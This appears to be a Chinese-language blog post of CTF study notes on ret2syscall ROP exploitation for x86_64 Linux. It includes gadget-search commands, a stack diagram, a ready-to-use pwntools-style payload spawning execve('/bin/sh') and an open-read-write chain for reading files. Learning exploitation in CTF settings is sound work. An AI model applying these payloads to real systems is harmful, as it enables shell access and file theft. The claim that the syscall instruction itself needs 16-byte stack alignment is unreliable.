ret2system

作者:Vesper Vei
3 分钟阅读

目录

  1. ret2syscall 利用笔记(适用于 x86_64 Linux)
    1. 基本概念
    2. syscall 调用约定(x86_64)
    3. 查找 syscall gadget
    4. 构造 execve(“/bin/sh”) 示例流程
    5. 跳板栈图(ASCII 栈图示例)
    6. 放置 “/bin/sh” 字符串
    7. 常用 syscall 组合模板
    8. 常见坑位
    9. ret2syscall vs ret2libc / ret2system

ret2syscall 利用笔记(适用于 x86_64 Linux)

基本概念

ret2syscall 是一种 ROP 技术,通过控制寄存器后触发 syscall 指令,直接调用 Linux 内核提供的系统调用。 常见用途:

ret2syscall 的优势是:
不需要 libc,不需要 system,只需要程序里存在 syscall 指令。

syscall 调用约定(x86_64)

Linux 下系统调用通过以下寄存器传参:

功能寄存器
系统调用号rax
第 1 个参数rdi
第 2 个参数rsi
第 3 个参数rdx
第 4 个参数r10
第 5 个参数r8
第 6 个参数r9

触发系统调用必须执行:

syscall

常见 syscall ID:

系统调用
execve59
open2
read0
write1

最常见的是构造:

Terminal window
execve("/bin/sh", 0, 0)

对应寄存器:

Terminal window
rax = 59
rdi = "/bin/sh" 地址
rsi = 0
rdx = 0
syscall

查找 syscall gadget

程序中常出现类似:

0x401234: syscall

来自:

查找方式:

ROPgadget --binary ./pwn | grep syscall

或 IDA 中搜索:

text:0000000000402404 syscall

通常我们只需要 syscall 指令本身即可,因为 rax/rdi/rsi/rdx 用其它 gadgets 设置。

构造 execve(“/bin/sh”) 示例流程

典型 ret2syscall 构造链:

  1. 在可控地址放置字符串 “/bin/sh\0”

  2. 找到 pop 寄存器的 gadgets:

    • pop rdi; ret

    • pop rsi; ret

    • pop rdx; ret

    • pop rax; ret

  3. 设置寄存器

  4. 跳到 syscall

跳板栈图(ASCII 栈图示例)

以下是一个典型 top-down 栈图,你偏好的 rbp-x 风格在 ROP 中对应 rsp+x 偏移,我保持一致画法:

rsp+0x00 → [ pop rax; ret ]
rsp+0x08 → [ 59 ] ; execve syscall number
rsp+0x10 → [ pop rdi; ret ]
rsp+0x18 → [ binsh_addr ] ; "/bin/sh"
rsp+0x20 → [ pop rsi; ret ]
rsp+0x28 → [ 0 ]
rsp+0x30 → [ pop rdx; ret ]
rsp+0x38 → [ 0 ]
rsp+0x40 → [ syscall ] ; 最终触发 execve("/bin/sh",0,0)

真实执行顺序:

  1. pop rax → rax=59

  2. pop rdi → rdi=“/bin/sh”

  3. pop rsi → rsi=0

  4. pop rdx → rdx=0

  5. syscall → execve(“/bin/sh”)

放置 “/bin/sh” 字符串

一般写在 bss 段:

binsh = bss_addr + 0x100
payload += pop_rdi; ret
payload += binsh
payload += write_str("/bin/sh\0")

或直接用 libc 中的地址(如果 libc 泄露了):

next(libc.search(b"/bin/sh"))

但 ret2syscall 通常不依赖 libc,所以推荐写到 bss。

常用 syscall 组合模板

以下结构可直接套用。

execve(“/bin/sh”, 0, 0)

payload = b"A"*offset
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

open-read-write 套路

先打开文件再读写:

rax = 2 open
rdi = filename
rsi = 0
rdx = 0
syscall
rax = 0 read
rdi = fd
rsi = buf
rdx = len
syscall
rax = 1 write
rdi = 1
rsi = buf
rdx = len
syscall

可用于读 flag、读任意文件。

常见坑位

1. syscall gadget 可能失败

有些程序带自定义沙箱,或者 syscall 在某些段不可执行。

2. 栈对齐问题(非常关键)

在 x86_64 下,执行 syscall 前系统要求:

rsp % 16 == 0

否则 crash(或触发意外行为)。

通常让 ret 后的栈地址为:

payload_len % 16 == 8

因为 ret 会使 rsp+=8,使其变成 16 对齐。

3. 找不到 pop 寄存器 gadget

可以使用 __libc_csu_init 的万能 gadget(你经常用的 ret2csu)来设置寄存器。

4. 程序中没有 syscall?

这类题会在某处隐藏 syscall,一般在:

__libc_start_main init stub
错误处理段
exit stub

ret2syscall vs ret2libc / ret2system

对比:

方法依赖优势
ret2libclibc 泄露稳定
ret2systemlibc 中的 system()构造简单
ret2syscall只需要 syscall 和一些 pop gadgets最轻依赖、最通用,可绕过禁用 libc 的环境

在无 PIE、无 NX、无 Canaries 的情况:ret2syscall 是最强武器。



关系图谱

Loading graph...